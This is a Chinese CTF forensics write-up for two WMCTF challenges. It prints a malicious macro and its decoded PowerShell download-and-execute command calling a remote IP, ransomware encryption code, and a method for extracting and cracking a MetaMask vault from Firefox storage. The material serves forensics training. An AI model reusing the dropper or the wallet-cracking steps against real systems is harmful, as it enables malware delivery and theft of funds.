好久没更新了,这次WMCTF出了两个取证题,发个wp
Party Time
打开磁盘镜像可以发现桌面上的Party invitation.docm,是一个宏文档,直接使用oletools
olevba Party\ invitation.docm
即可得到宏代码
Private Sub Document_Open()
Dim p As DocumentProperty
Dim decoded As String
Dim byteArray() As Byte
For Each p In ActiveDocument.BuiltInDocumentProperties
If p.Name = "Comments" Then
byteArray = test(p.Value)
decoded = ""
For i = LBound(byteArray) To UBound(byteArray)
decoded = decoded & Chr(byteArray(i) Xor &H64)
Next i
Shell (decoded)
End If
Next
End Sub
Function test(hexString As String) As Byte()
Dim lenHex As Integer
lenHex = Len(hexString)
Dim byteArray() As Byte
ReDim byteArray((lenHex \ 2) - 1)
Dim i As Integer
Dim byteValue As Integer
For i = 0 To lenHex - 1 Step 2
byteValue = Val("&H" & Mid(hexString, i + 1, 2))
byteArray(i \ 2) = byteValue
Next i
test = byteArray
End Function
阅读后得知是从文档的comments属性中提取数据然后与0x64异或,这里可以使用exiftool
得到:
Description : 140b130116170c0108084a011c01444913440c0d0000010a444c0a0113490b060e01071044371d171001094a2a01104a33010627080d010a104d4a200b130a080b0500220d08014c430c1010145e4b4b555d564a55525c4a5654534a555e5c545c544b130d0a000b13173b1114000510013b56545650545c55574a011c01434840010a125e100109144f434b130d0a000b13173b1114000510013b56545650545c55574a011c01434d5f37100516104934160b070117174440010a125e10010914434b130d0a000b13173b1114000510013b56545650545c55574a011c0143
然后解密得到payload:
powershell.exe -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.207.1:8080/windows_update_20240813.exe',$env:temp+'/windows_update_20240813.exe');Start-Process $env:temp'/windows_update_20240813.exe'
可以看出是下载了windows_update_20240813.exe放在了$env:temp下并执行,在这里就是/AppData/Local/Temp/windows_update_20240813.exe
将其提取出来并进行逆向,具体过程省略,在这里直接给出加密部分源码:
func encryptAndOverwriteFile(filename string, pub *rsa.PublicKey, deviceKey []byte) error {
// Read the original file content
content, err := ioutil.ReadFile(filename)
if err != nil {
return err
}
// Encrypt the content
hash := sha256.New()
encryptedData, err := rsa.EncryptOAEP(hash, rand.Reader, pub, content, deviceKey)
if err != nil {
return err
}
// Overwrite the original file with encrypted content
err = ioutil.WriteFile(filename, encryptedData, 0644)
if err != nil {
return err
}
return nil
}
而rsa的公钥和私钥都存储在了注册表里,devicekey则是hostname的sha256
func storeRsaKeyInRegistry(PrivateKey []byte, PublicKey []byte) error {
key, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\nothing`, registry.SET_VALUE)
if err != nil {
return err
}
defer key.Close()
err = key.SetBinaryValue("PrivateKey", PrivateKey)
if err != nil {
return err
}
err = key.SetBinaryValue("PublicKey", PublicKey)
if err != nil {
return err
}
return nil
}
func getDeviceKey() ([]byte, error) {
hostname, err := os.Hostname()
if err != nil {
return nil, err
}
deviceKey := sha256.Sum256([]byte(hostname))
if err != nil {
return nil, err
}
return deviceKey[:], nil
}
于是可以直接使用volatility对注册表进行分析,提取其中的rsa私钥
python2 vol.py -f ../../mem --profile=Win10x64_19041 printkey -K "SOFTWARE\nothing"
得到私钥
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA0WudoQ2mgYalJ2LKLzxeqVydTdteAQkdllvhu/jh7+pCTvUJ
uNMJEdSFphVAIp53BBuGVp0xwSav8hbffHX+Fdn7ZRN0YecgDtPA3Pd3y9jcutVZ
yes8Wjbpt6qTD+ITl1nPsKqsB2Ry1BhFYWBC8+2YniKQqb4UE3Kr7LE78Tb8ABp9
epe4AMguNHlgdC97DpJ5R7/esRjMey/NWdFXN1LsQYCn9/UGwVhLG3gmPn200XE6
KLjXRijrN23lwpDw88J7pfJCbfh/jgpoe91Rmq/ADs4mwhXcNRafmsNixCj/Zwcr
3ANPuTNOKmH6IaPWg410O+1q2noV67cLi/NrIQIDAQABAoIBAQCuljT3S1YArauJ
xkYgUwfn0Zoiijs4Sc0syLTL7JUPWhClmorcVrM89hvlddneApXeCsRX+Py9te8A
uCjgrc2BkhSPE0T3SaPkOIyUqopomwaJi8wrFb1eyGDYCZBIsYT7rJgFBIQeNZO1
VfahU4r9qJqPWumXWSuLexHxZWA/msByzrijZIP5ufeuIzCNLV6yOPOhSMIHCA3s
hOjOQsW76q+fVIGAR8qHFj/Ee02ta4engXEhBWa5Y7pLqtihHdZIcn0KRxx3+Ev5
kJhBMIPazdneQ/KiP5wzkdSYoTf9+hLjYGQu6A3T2GqzrOvlsd6gNfq/WlrKzIa6
P7wqXhhBAoGBANmHWpnPUZvR0LXLMi8n+zE7FWhtVI5eZltpVou1XefYt6/LZLv9
/pSQCZRRwqUQTjFWOKcg+H2rRdKVc7h/fySXDlmUkE9Ep4REqAAMEGRQKRUJrq2D
KiNq7E08dZpoAiaH4PaZKMsuubxpJX3WSTkLVXnusN0TObCibjnKk2mdAoGBAPZ1
J6roXjv6f4N3+i/aUUh/UaGlJuhqyi8ALiI7+9dIVrKyU8ULjjnlb3F8Mg4n8FQb
AxTAnN9HvDBYLwwWo48yD7zzNPlxwF3rEiUuZ8BjUGMuN1QIPT0wSDvKjOdOoQFB
HkNu/Ysjfp4paET0foYRzu62eAzh9mAegM9PHKJVAoGASudf3EzWViiGjML+cdx7
k7U7puzWy/tXlayNH6iBQH+QqNkJw+4vRqrekZMhykL2GekNswcYafWbImtSILrO
ZiQZzeDpXFJQuKwHiZSd5Fzx+IuP+bGLxgxgeCwUdunPq8LoRSHyORzK2kT+ovkx
15G+ijEV99pR6C/WctH9tsUCgYAVlP7LRZvy7qW58oizJhAWJCgW2qqEkc1wvjhM
ASq1mH0XGuyhBbkHsuLGclTDzpWKF+92IsPZ/aMqLJ66FUVvZbfhGP8blO1+i/ZD
0UN+onPIq6RmtG4AbLj2m28pVkZdIMGwsAh95bbRzNh3qV1nCiov10S+BA+aLTGk
dc4RHQKBgBPT6/JmHGe6MqbEfnu7H0FyubseQ5B5bsWrw9xX0gVwjDV6iiTnqLT0
lD5qVyb4nGAcaqn7Wm3Hoykom6x7CnueBHY7HHGq21bvTOQv/aC59mZxpPaDEMUR
eROsDq1jsfYVTBwpUDoWP7yRAv5tiUHU0BtjwlozyfvgJOIpjTMg
-----END RSA PRIVATE KEY-----
还有主机名,找的方式很多,比如说看环境变量,得到
DESKTOP-8KRF7H0
根据这些编写解密代码解密桌面上的flag.rar即可
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/hex"
"encoding/pem"
"flag"
"fmt"
"io/ioutil"
"os"
)
// Function to load RSA keys from files
func loadRSAKeys() (*rsa.PrivateKey, error) {
privateKeyPEM, err := ioutil.ReadFile("private_key.pem")
if err != nil {
return nil, err
}
block, _ := pem.Decode(privateKeyPEM)
if block == nil || block.Type != "RSA PRIVATE KEY" {
return nil, fmt.Errorf("failed to decode PEM block containing private key")
}
privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
return nil, err
}
return privateKey, nil
}
// Function to decrypt data using RSA and device key
func decrypt(encryptedData []byte, privateKey *rsa.PrivateKey, deviceKey []byte) ([]byte, error) {
hash := sha256.New()
decryptedData, err := rsa.DecryptOAEP(hash, rand.Reader, privateKey, encryptedData, deviceKey)
if err != nil {
return nil, err
}
return decryptedData, nil
}
func printHelp() {
fmt.Println("Usage:")
fmt.Println(" -help Show this help message")
fmt.Println(" -decrypt <file> Decrypt the specified file (requires device key)")
fmt.Println(" -key <key> Device key for decryption")
}
func main() {
help := flag.Bool("help", false, "Show help message")
decryptFile := flag.String("decrypt", "", "File to decrypt")
key := flag.String("key", "", "Device key for decryption")
flag.Parse()
if *help {
printHelp()
return
}
if *decryptFile == "" || *key == "" {
printHelp()
return
}
if _, err := os.Stat("private_key.pem"); os.IsNotExist(err) {
fmt.Println("no private key find!")
return
}
privateKey, err := loadRSAKeys()
if err != nil {
fmt.Println("Error loading RSA keys:", err)
return
}
if *decryptFile != "" {
data, err := ioutil.ReadFile(*decryptFile)
if err != nil {
fmt.Println("Error reading file:", err)
return
}
deviceKey, err := hex.DecodeString(*key)
if err != nil {
fmt.Println("Error decoding device key:", err)
return
}
decryptedData, err := decrypt(data, privateKey, deviceKey)
if err != nil {
fmt.Println("Error decrypting data:", err)
return
}
err = ioutil.WriteFile("decrypted_"+*decryptFile, decryptedData, 0644)
if err != nil {
fmt.Println("Error writing decrypted file:", err)
return
}
fmt.Println("File decrypted successfully!")
}
}
metasecret
ftk imager打开镜像文件进行分析,可以发现documents文件夹里的passwords.txt以及appdata/roaming中的火狐浏览器数据,再由题目名和题目描述想到加密货币相关,即metamask插件,于是可以在~/AppData/Roaming/Mozilla/Firefox/Profiles/jawk8d8g.default-release/storage/default/下找到安装的所有插件,经过简单的尝试即可确认目标插件id是654e5b4f-4a65-4e1a-9b58-51733b6a2883,进而可以找到其idb文件,位置在moz-extension+++654e5b4f-4a65-4e1a-9b58-51733b6a2883^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.files/492
但是firefox的idb文件是经过了snappy压缩的,需要解压,相关代码可以在网上找到,例如这个
https://github.com/JesseBusman/FirefoxMetamaskWalletSeedRecovery
对其稍作修改,让脚本直接解密整个文件,要用的时候直接修改最下面的文件名
import cramjam
import typing as ty
import collections.abc as cabc
import sqlite3
import snappy
import io
import sys
import glob
import pathlib
import re
import os
import json
"""A SpiderMonkey StructuredClone object reader for Python."""
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
# Credits:
# – Source was havily inspired by
# https://dxr.mozilla.org/mozilla-central/rev/3bc0d683a41cb63c83cb115d1b6a85d50013d59e/js/src/vm/StructuredClone.cpp
# and many helpful comments were copied as-is.
# – Python source code by Alexander Schlarb, 2020.
import collections
import datetime
import enum
import io
import re
import struct
import typing
class ParseError(ValueError):
pass
class InvalidHeaderError(ParseError):
pass
class JSInt32(int):
"""Type to represent the standard 32-bit signed integer"""
def __init__(self, *a):
if not (-0x80000000 <= self <= 0x7FFFFFFF):
raise TypeError("JavaScript integers are signed 32-bit values")
class JSBigInt(int):
"""Type to represent the arbitrary precision JavaScript “BigInt” type"""
pass
class JSBigIntObj(JSBigInt):
"""Type to represent the JavaScript BigInt object type (vs the primitive type)"""
pass
class JSBooleanObj(int):
"""Type to represent JavaScript boolean “objects” (vs the primitive type)
Note: This derives from `int`, since one cannot directly derive from `bool`."""
__slots__ = ()
def __new__(self, inner: object = False):
return int.__new__(bool(inner))
def __and__(self, other: bool) -> bool:
return bool(self) & other
def __or__(self, other: bool) -> bool:
return bool(self) | other
def __xor__(self, other: bool) -> bool:
return bool(self) ^ other
def __rand__(self, other: bool) -> bool:
return other & bool(self)
def __ror__(self, other: bool) -> bool:
return other | bool(self)
def __rxor__(self, other: bool) -> bool:
return other ^ bool(self)
def __str__(self, other: bool) -> str:
return str(bool(self))
class _HashableContainer:
inner: object
def __init__(self, inner: object):
self.inner = inner
def __hash__(self):
return id(self.inner)
def __repr__(self):
return repr(self.inner)
def __str__(self):
return str(self.inner)
class JSMapObj(collections.UserDict):
"""JavaScript compatible Map object that allows arbitrary values for the key."""
@staticmethod
def key_to_hashable(key: object) -> collections.abc.Hashable:
try:
hash(key)
except TypeError:
return _HashableContainer(key)
else:
return key
def __contains__(self, key: object) -> bool:
return super().__contains__(self.key_to_hashable(key))
def __delitem__(self, key: object) -> None:
return super().__delitem__(self.key_to_hashable(key))
def __getitem__(self, key: object) -> object:
return super().__getitem__(self.key_to_hashable(key))
def __iter__(self) -> typing.Iterator[object]:
for key in super().__iter__():
if isinstance(key, _HashableContainer):
key = key.inner
yield key
def __setitem__(self, key: object, value: object):
super().__setitem__(self.key_to_hashable(key), value)
class JSNumberObj(float):
"""Type to represent JavaScript number/float “objects” (vs the primitive type)"""
pass
class JSRegExpObj:
expr: str
flags: 'RegExpFlag'
def __init__(self, expr: str, flags: 'RegExpFlag'):
self.expr = expr
self.flags = flags
@classmethod
def from_re(cls, regex: re.Pattern) -> 'JSRegExpObj':
flags = RegExpFlag.GLOBAL
if regex.flags | re.DOTALL:
pass # Not supported in current (2020-01) version of SpiderMonkey
if regex.flags | re.IGNORECASE:
flags |= RegExpFlag.IGNORE_CASE
if regex.flags | re.MULTILINE:
flags |= RegExpFlag.MULTILINE
return cls(regex.pattern, flags)
def to_re(self) -> re.Pattern:
flags = 0
if self.flags | RegExpFlag.IGNORE_CASE:
flags |= re.IGNORECASE
if self.flags | RegExpFlag.GLOBAL:
pass # Matching type depends on matching function used in Python
if self.flags | RegExpFlag.MULTILINE:
flags |= re.MULTILINE
if self.flags | RegExpFlag.UNICODE:
pass # XXX
return re.compile(self.expr, flags)
class JSSavedFrame:
def __init__(self):
raise NotImplementedError()
class JSSetObj:
def __init__(self):
raise NotImplementedError()
class JSStringObj(str):
"""Type to represent JavaScript string “objects” (vs the primitive type)"""
pass
class DataType(enum.IntEnum):
# Special values
FLOAT_MAX = 0xFFF00000
HEADER = 0xFFF10000
# Basic JavaScript types
NULL = 0xFFFF0000
UNDEFINED = 0xFFFF0001
BOOLEAN = 0xFFFF0002
INT32 = 0xFFFF0003
STRING = 0xFFFF0004
# Extended JavaScript types
DATE_OBJECT = 0xFFFF0005
REGEXP_OBJECT = 0xFFFF0006
ARRAY_OBJECT = 0xFFFF0007
OBJECT_OBJECT = 0xFFFF0008
ARRAY_BUFFER_OBJECT = 0xFFFF0009
BOOLEAN_OBJECT = 0xFFFF000A
STRING_OBJECT = 0xFFFF000B
NUMBER_OBJECT = 0xFFFF000C
BACK_REFERENCE_OBJECT = 0xFFFF000D
# DO_NOT_USE_1
# DO_NOT_USE_2
TYPED_ARRAY_OBJECT = 0xFFFF0010
MAP_OBJECT = 0xFFFF0011
SET_OBJECT = 0xFFFF0012
END_OF_KEYS = 0xFFFF0013
# DO_NOT_USE_3
DATA_VIEW_OBJECT = 0xFFFF0015
SAVED_FRAME_OBJECT = 0xFFFF0016 # ?
# Principals ?
JSPRINCIPALS = 0xFFFF0017
NULL_JSPRINCIPALS = 0xFFFF0018
RECONSTRUCTED_SAVED_FRAME_PRINCIPALS_IS_SYSTEM = 0xFFFF0019
RECONSTRUCTED_SAVED_FRAME_PRINCIPALS_IS_NOT_SYSTEM = 0xFFFF001A
# ?
SHARED_ARRAY_BUFFER_OBJECT = 0xFFFF001B
SHARED_WASM_MEMORY_OBJECT = 0xFFFF001C
# Arbitrarily sized integers
BIGINT = 0xFFFF001D
BIGINT_OBJECT = 0xFFFF001E
# Older typed arrays
TYPED_ARRAY_V1_MIN = 0xFFFF0100
TYPED_ARRAY_V1_INT8 = TYPED_ARRAY_V1_MIN + 0
TYPED_ARRAY_V1_UINT8 = TYPED_ARRAY_V1_MIN + 1
TYPED_ARRAY_V1_INT16 = TYPED_ARRAY_V1_MIN + 2
TYPED_ARRAY_V1_UINT16 = TYPED_ARRAY_V1_MIN + 3
TYPED_ARRAY_V1_INT32 = TYPED_ARRAY_V1_MIN + 4
TYPED_ARRAY_V1_UINT32 = TYPED_ARRAY_V1_MIN + 5
TYPED_ARRAY_V1_FLOAT32 = TYPED_ARRAY_V1_MIN + 6
TYPED_ARRAY_V1_FLOAT64 = TYPED_ARRAY_V1_MIN + 7
TYPED_ARRAY_V1_UINT8_CLAMPED = TYPED_ARRAY_V1_MIN + 8
TYPED_ARRAY_V1_MAX = TYPED_ARRAY_V1_UINT8_CLAMPED
# Transfer-only tags (not used for persistent data)
TRANSFER_MAP_HEADER = 0xFFFF0200
TRANSFER_MAP_PENDING_ENTRY = 0xFFFF0201
TRANSFER_MAP_ARRAY_BUFFER = 0xFFFF0202
TRANSFER_MAP_STORED_ARRAY_BUFFER = 0xFFFF0203
class RegExpFlag(enum.IntFlag):
IGNORE_CASE = 0b00001
GLOBAL = 0b00010
MULTILINE = 0b00100
UNICODE = 0b01000
class Scope(enum.IntEnum):
SAME_PROCESS = 1
DIFFERENT_PROCESS = 2
DIFFERENT_PROCESS_FOR_INDEX_DB = 3
UNASSIGNED = 4
UNKNOWN_DESTINATION = 5
class _Input:
stream: io.BufferedReader
def __init__(self, stream: io.BufferedReader):
self.stream = stream
def peek(self) -> int:
try:
return struct.unpack_from("<q", self.stream.peek(8))[0]
except struct.error:
raise EOFError() from None
def peek_pair(self) -> (int, int):
v = self.peek()
return ((v >> 32) & 0xFFFFFFFF, (v >> 0) & 0xFFFFFFFF)
def drop_padding(self, read_length):
length = 8 - ((read_length - 1) % 8) - 1
result = self.stream.read(length)
if len(result) < length:
raise EOFError()
def read(self, fmt="q"):
try:
return struct.unpack("<" + fmt, self.stream.read(8))[0]
except struct.error:
raise EOFError() from None
def read_bytes(self, length: int) -> bytes:
result = self.stream.read(length)
if len(result) < length:
raise EOFError()
self.drop_padding(length)
return result
def read_pair(self) -> (int, int):
v = self.read()
return ((v >> 32) & 0xFFFFFFFF, (v >> 0) & 0xFFFFFFFF)
def read_double(self) -> float:
return self.read("d")
class Reader:
all_objs: typing.List[typing.Union[list, dict]]
compat: bool
input: _Input
objs: typing.List[typing.Union[list, dict]]
def __init__(self, stream: io.BufferedReader):
self.input = _Input(stream)
self.all_objs = []
self.compat = False
self.objs = []
def read(self):
self.read_header()
self.read_transfer_map()
# Start out by reading in the main object and pushing it onto the 'objs'
# stack. The data related to this object and its descendants extends
# from here to the SCTAG_END_OF_KEYS at the end of the stream.
add_obj, result = self.start_read()
if add_obj:
self.all_objs.append(result)
# Stop when the stack shows that all objects have been read.
while len(self.objs) > 0:
# What happens depends on the top obj on the objs stack.
obj = self.objs[-1]
tag, data = self.input.peek_pair()
if tag == DataType.END_OF_KEYS:
# Pop the current obj off the stack, since we are done with it
# and its children.
self.input.read_pair()
self.objs.pop()
continue
# The input stream contains a sequence of "child" values, whose
# interpretation depends on the type of obj. These values can be
# anything.
#
# startRead() will allocate the (empty) object, but note that when
# startRead() returns, 'key' is not yet initialized with any of its
# properties. Those will be filled in by returning to the head of
# this loop, processing the first child obj, and continuing until
# all children have been fully created.
#
# Note that this means the ordering in the stream is a little funky
# for things like Map. See the comment above startWrite() for an
# example.
add_obj, key = self.start_read()
if add_obj:
self.all_objs.append(key)
# Backwards compatibility: Null formerly indicated the end of
# object properties.
if key is None and not isinstance(obj, (JSMapObj, JSSetObj, JSSavedFrame)):
self.objs.pop()
continue
# Set object: the values between obj header (from startRead()) and
# DataType.END_OF_KEYS are interpreted as values to add to the set.
if isinstance(obj, JSSetObj):
obj.add(key)
if isinstance(obj, JSSavedFrame):
raise NotImplementedError() # XXX: TODO
# Everything else uses a series of key, value, key, value, … objects.
add_obj, val = self.start_read()
if add_obj:
self.all_objs.append(val)
# For a Map, store those <key,value> pairs in the contained map
# data structure.
if isinstance(obj, JSMapObj):
obj[key] = value
else:
if not isinstance(key, (str, int)):
# continue
raise ParseError(
"JavaScript object key must be a string or integer")
if isinstance(obj, list):
# Ignore object properties on array
if not isinstance(key, int) or key < 0:
continue
# Extend list with extra slots if needed
while key >= len(obj):
obj.append(NotImplemented)
obj[key] = val
self.all_objs.clear()
return result
def read_header(self) -> None:
tag, data = self.input.peek_pair()
scope: int
if tag == DataType.HEADER:
tag, data = self.input.read_pair()
if data == 0:
data = int(Scope.SAME_PROCESS)
scope = data
else: # Old on-disk format
scope = int(Scope.DIFFERENT_PROCESS_FOR_INDEX_DB)
if scope == Scope.DIFFERENT_PROCESS:
self.compat = False
elif scope == Scope.DIFFERENT_PROCESS_FOR_INDEX_DB:
self.compat = True
elif scope == Scope.SAME_PROCESS:
raise InvalidHeaderError("Can only parse persistent data")
else:
raise InvalidHeaderError("Invalid scope")
def read_transfer_map(self) -> None:
tag, data = self.input.peek_pair()
if tag == DataType.TRANSFER_MAP_HEADER:
raise InvalidHeaderError(
"Transfer maps are not allowed for persistent data")
def read_bigint(self, info: int) -> JSBigInt:
length = info & 0x7FFFFFFF
negative = bool(info & 0x80000000)
raise NotImplementedError()
def read_string(self, info: int) -> str:
length = info & 0x7FFFFFFF
latin1 = bool(info & 0x80000000)
if latin1:
return self.input.read_bytes(length).decode("latin-1")
else:
return self.input.read_bytes(length * 2).decode("utf-16le")
def start_read(self):
tag, data = self.input.read_pair()
if tag == DataType.NULL:
return False, None
elif tag == DataType.UNDEFINED:
return False, NotImplemented
elif tag == DataType.INT32:
if data > 0x7FFFFFFF:
data -= 0x80000000
return False, JSInt32(data)
elif tag == DataType.BOOLEAN:
return False, bool(data)
elif tag == DataType.BOOLEAN_OBJECT:
return True, JSBooleanObj(data)
elif tag == DataType.STRING:
return False, self.read_string(data)
elif tag == DataType.STRING_OBJECT:
return True, JSStringObj(self.read_string(data))
elif tag == DataType.NUMBER_OBJECT:
return True, JSNumberObj(self.input.read_double())
elif tag == DataType.BIGINT:
return False, self.read_bigint()
elif tag == DataType.BIGINT_OBJECT:
return True, JSBigIntObj(self.read_bigint())
elif tag == DataType.DATE_OBJECT:
# These timestamps are always UTC
return True, datetime.datetime.fromtimestamp(self.input.read_double(),
datetime.timezone.utc)
elif tag == DataType.REGEXP_OBJECT:
flags = RegExpFlag(data)
tag2, data2 = self.input.read_pair()
if tag2 != DataType.STRING:
# return False, False
raise ParseError("RegExp type must be followed by string")
return True, JSRegExpObj(flags, self.read_string(data2))
elif tag == DataType.ARRAY_OBJECT:
obj = []
self.objs.append(obj)
return True, obj
elif tag == DataType.OBJECT_OBJECT:
obj = {}
self.objs.append(obj)
return True, obj
elif tag == DataType.BACK_REFERENCE_OBJECT:
try:
return False, self.all_objs[data]
except IndexError:
# return False, False
raise ParseError(
"Object backreference to non-existing object") from None
elif tag == DataType.ARRAY_BUFFER_OBJECT:
return True, self.read_array_buffer(data) # XXX: TODO
elif tag == DataType.SHARED_ARRAY_BUFFER_OBJECT:
return True, self.read_shared_array_buffer(data) # XXX: TODO
elif tag == DataType.SHARED_WASM_MEMORY_OBJECT:
return True, self.read_shared_wasm_memory(data) # XXX: TODO
elif tag == DataType.TYPED_ARRAY_OBJECT:
array_type = self.input.read()
return False, self.read_typed_array(array_type, data) # XXX: TODO
elif tag == DataType.DATA_VIEW_OBJECT:
return False, self.read_data_view(data) # XXX: TODO
elif tag == DataType.MAP_OBJECT:
obj = JSMapObj()
self.objs.append(obj)
return True, obj
elif tag == DataType.SET_OBJECT:
obj = JSSetObj()
self.objs.append(obj)
return True, obj
elif tag == DataType.SAVED_FRAME_OBJECT:
obj = self.read_saved_frame(data) # XXX: TODO
self.objs.append(obj)
return True, obj
elif tag < int(DataType.FLOAT_MAX):
# Reassemble double floating point value
return False, struct.unpack("=d", struct.pack("=q", (tag << 32) | data))[0]
elif DataType.TYPED_ARRAY_V1_MIN <= tag <= DataType.TYPED_ARRAY_V1_MAX:
return False, self.read_typed_array(tag - DataType.TYPED_ARRAY_V1_MIN, data)
else:
# return False, False
raise ParseError("Unsupported type")
"""A parser for the Mozilla variant of Snappy frame format."""
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
# Credits:
# – Python source code by Erin Yuki Schlarb, 2024.
def decompress_raw(data: bytes) -> bytes:
"""Decompress a raw Snappy chunk without any framing"""
# Delegate this part to the cramjam library
return cramjam.snappy.decompress_raw(data)
class Decompressor(io.BufferedIOBase):
inner: io.BufferedIOBase
_buf: bytearray
_buf_len: int
_buf_pos: int
def __init__(self, inner: io.BufferedIOBase) -> None:
assert inner.readable()
self.inner = inner
self._buf = bytearray(65536)
self._buf_len = 0
self._buf_pos = 0
def readable(self) -> ty.Literal[True]:
return True
def _read_next_data_chunk(self) -> None:
# We start with the buffer empty
assert self._buf_len == 0
# Keep parsing chunks until something is added to the buffer
while self._buf_len == 0:
# Read chunk header
header = self.inner.read(4)
if len(header) == 0:
# EOF – buffer remains empty
return
elif len(header) != 4:
# Just part of a header being present is invalid
raise EOFError(
"Unexpected EOF while reading Snappy chunk header")
type, length = header[0], int.from_bytes(header[1:4], "little")
if type == 0xFF:
# Stream identifier – contents should be checked but otherwise ignored
if length != 6:
raise ValueError(
"Invalid stream identifier (wrong length)")
# Read and verify required content is present
content = self.inner.read(length)
if len(content) != 6:
raise EOFError(
"Unexpected EOF while reading stream identifier")
if content != b"sNaPpY":
raise ValueError(
"Invalid stream identifier (wrong content)")
elif type == 0x00:
# Compressed data
# Read checksum
checksum: bytes = self.inner.read(4)
if len(checksum) != 4:
raise EOFError(
"Unexpected EOF while reading data checksum")
# Read compressed data into new buffer
compressed: bytes = self.inner.read(length - 4)
if len(compressed) != length - 4:
raise EOFError(
"Unexpected EOF while reading data contents")
# Decompress data into inner buffer
# XXX: There does not appear to an efficient way to set the length
# of a bytearray
self._buf_len = cramjam.snappy.decompress_raw_into(
compressed, self._buf)
# TODO: Verify checksum
elif type == 0x01:
# Uncompressed data
if length > 65536:
raise ValueError(
"Invalid uncompressed data chunk (length > 65536)")
checksum: bytes = self.inner.read(4)
if len(checksum) != 4:
raise EOFError(
"Unexpected EOF while reading data checksum")
# Read chunk data into buffer
with memoryview(self._buf) as view:
if self.inner.readinto(view[:(length - 4)]) != length - 4:
raise EOFError(
"Unexpected EOF while reading data contents")
self._buf_len = length - 4
# TODO: Verify checksum
elif type in range(0x80, 0xFE + 1):
# Padding and reserved skippable chunks – just skip the contents
if self.inner.seekable():
self.inner.seek(length, io.SEEK_CUR)
else:
self.inner.read(length)
else:
raise ValueError(
f"Unexpected unskippable reserved chunk: 0x{type:02X}")
def read1(self, size: ty.Optional[int] = -1) -> bytes:
# Read another chunk if the buffer is currently empty
if self._buf_len < 1:
self._read_next_data_chunk()
# Return some of the data currently present in the buffer
start = self._buf_pos
if size is None or size < 0:
end = self._buf_len
else:
end = min(start + size, self._buf_len)
result: bytes = bytes(self._buf[start:end])
if end < self._buf_len:
self._buf_pos = end
else:
self._buf_len = 0
self._buf_pos = 0
return result
def read(self, size: ty.Optional[int] = -1) -> bytes:
buf: bytearray = bytearray()
if size is None or size < 0:
while len(data := self.read1()) > 0:
buf += data
else:
while len(buf) < size and len(data := self.read1(size - len(buf))) > 0:
buf += data
return buf
def readinto1(self, buf: cabc.Sequence[bytes]) -> int:
# Read another chunk if the buffer is currently empty
if self._buf_len < 1:
self._read_next_data_chunk()
# Copy some of the data currently present in the buffer
start = self._buf_pos
end = min(start + len(buf), self._buf_len)
buf[0:(end - start)] = self._buf[start:end]
if end < self._buf_len:
self._buf_pos = end
else:
self._buf_len = 0
self._buf_pos = 0
return end - start
def readinto(self, buf: cabc.Sequence[bytes]) -> int:
with memoryview(buf) as view:
pos = 0
while pos < len(buf) and (length := self.readinto1(view[pos:])) > 0:
pos += length
return pos
with open("488", "rb") as ff:
d = Decompressor(ff)
decoded = d.read()
decodedStr = decoded.decode(encoding='utf-8', errors="ignore")
print(decodedStr)
对先前得到的idb文件进行解压缩,即可得到原始数据,其中有关vault的信息如下
{"data":"WT5WJKyy+Ol+hgVsSKViRytzII2INhhftI5RJlgvuNuLx/MxDXMZtaIxfNeC/7LnvcfgitrTcQCQBh5ULv8AemL6SFSjzcACNrlCRIcppYmUFuMp6clW7nUi+My0Rj521yd/kwmLuHNToIRiACSezzLAWHkLXnZuvtDX2zyRvISZ0AQBseFXBecB0xKa0hcdoGsxBRBnK0vPvFf8b9TGfFAB7Qefh2O8GrFqzc40qX42gCgs+gVe0uq0A6SUSMKlwomMSfGQZJt6xfwMBZy8Or0kO0+D2Bjj0AgyIZaOeQ6S8IL/zcfO5Qi+gFaGpo6sGVOk1Yiu9+8enZvOuUW5IiIgydrzFKRixEMClAPa9MLDt3cksq52DxzorFLN8vYBqFY39DYQdSebg0HC6+Ww7XMz+b8FFKLqxLroar8F8IxP9WE1BHDIiT7mOcrUZnKW+W1Mmq6vbz+XuHmpz46OR8oD1KjwRVWV61qvTf7sg2H56fxbGrzjml89HATckwPrJ0cEwTAQcIkPZOA/DuuWsoHr6X6U4jYWJ+qwJFKYMIbwSWIdOmXKhb3kuJIS1YZzRCqHNJ0opudN6sRVOf/+nRp6wC4ww8LRTK1e1KTJ3aHdna7mIOJzMMO/0U0Gn9EDb4EMrK5XMzuZB0UaOR+9YmQaTUKGAQRNLVHMpdMgLQkVnxbZp4bIJiTRpXaKbIip+am9HAy4uq47vkY7ql72tQ5E4x9Ipkx4dKXF6ppiBBip6ag6QQ==","iv":"fPymLoml7KKyZ5wdqwylqg==","keyMetadata":{"algorithm":"PBKDF2","params":{"iterations":600000}},"salt":"xN8qVOAe6KF+JTti1cOyGNBNdSWTlumu1YQi2A4GcbU="}
由于documents里面发现了密码字典,于是直接使用metamask2hashcat.py得到密码hash
